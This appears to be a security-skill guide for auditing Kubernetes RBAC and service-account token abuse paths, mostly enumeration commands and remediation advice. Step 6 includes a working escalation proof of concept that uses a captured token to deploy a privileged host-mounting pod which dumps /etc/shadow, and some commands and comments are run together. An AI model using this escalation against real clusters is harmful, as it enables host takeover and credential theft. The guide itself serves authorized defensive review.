Find over-permissive RBAC roles and service-account token abuse paths in Kubernetes using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess during authorized cluster security reviews.
Find over-permissive RBAC roles and service-account token abuse paths in Kubernetes using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess during authorized cluster security reviews.
Legal Notice: This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.
Overview
Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via Role/ClusterRole rules bound by RoleBinding/ClusterRoleBinding. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are "RBAC-equivalent to cluster-admin."
Per the Kubernetes "RBAC Good Practices" guidance and Unit 42 research, the dangerous primitives are:
escalate on roles — grant yourself any permission, even ones you do not hold.
bind on clusterroles — create a binding to cluster-admin.
impersonate on users/groups/serviceaccounts — act as any subject including system:masters.
create/update/patch on pods — schedule a privileged pod or mount the node, escaping to the host (T1611).
create on pods/exec, pods/attach, pods/ephemeralcontainers — run code in any existing pod.
get/list/watch on secrets — list returns full secret contents, including other service-account tokens.
create on serviceaccounts/token — mint tokens for more privileged accounts.
update/patch on validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — admission/CSR abuse to cluster-admin.
(, ) — implicit super-privilege.
Wildcards
verbs: ["*"]
resources: ["*"]
This skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.
When to Use
During an authorized Kubernetes security assessment or cluster penetration test
After compromising a pod, to determine what its service-account token can reach
When reviewing RBAC drift before a production go-live
When validating least-privilege after a platform migration or Helm rollout
Prerequisites
kubectl configured against the target cluster (your own credentials, or a captured service-account token)
Read access to RBAC objects (most audits run with a cluster-reader or admin context)
Audit tooling:
# rbac-police - find escalation paths (Cymulate)
curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
chmod +x rbac-police
# kubectl-who-can - which subjects can perform an action (Aqua)
kubectl krew install who-can
# rakkess - access matrix of resources x verbs for the current/another subject
kubectl krew install access-matrix
# rbac-lookup - which roles a subject has (FairwindsOps)
kubectl krew install rbac-lookup
Objectives
Inventory all Role, ClusterRole, RoleBinding, and ClusterRoleBinding objects
Enumerate effective permissions per subject using kubectl auth can-i --as
# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'
Step 2: Enumerate Effective Permissions per Subject
kubectl auth can-i is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use --as to impersonate a subject (requires impersonate rights for the audit identity).
# Full access matrix for a service account
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*''*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builder
Step 3: Hunt the Escalation Primitives
# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*''*'# wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # bind-style escalation# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml
Step 4: Run Automated Escalation-Path Analysis with rbac-police
rbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.
# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/
# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json
Step 5: Trace Pods to Over-Privileged Service Accounts
A finding only matters if a reachable workload mounts that token.
# Map every pod to its service account
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccount
Step 6: Demonstrate an Escalation Path (Lab Only)
Example: a service account with create pods and access to a node can schedule a privileged pod that mounts the host filesystem.
# Using a captured token, target the API server directlyexport TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# Schedule a privileged host-mounting pod (proves node/host takeover)cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # host /etc/shadow proves escalation
Remediation: replace wildcards with explicit verbs/resources; remove escalate/bind/impersonate unless required; set automountServiceAccountToken: false on workloads that do not call the API; scope Role (namespaced) over ClusterRole where possible; use aggregationRule carefully.
Tools and Resources
Tool
Purpose
Source
kubectl auth can-i
Authoritative live permission check (--list, --as)
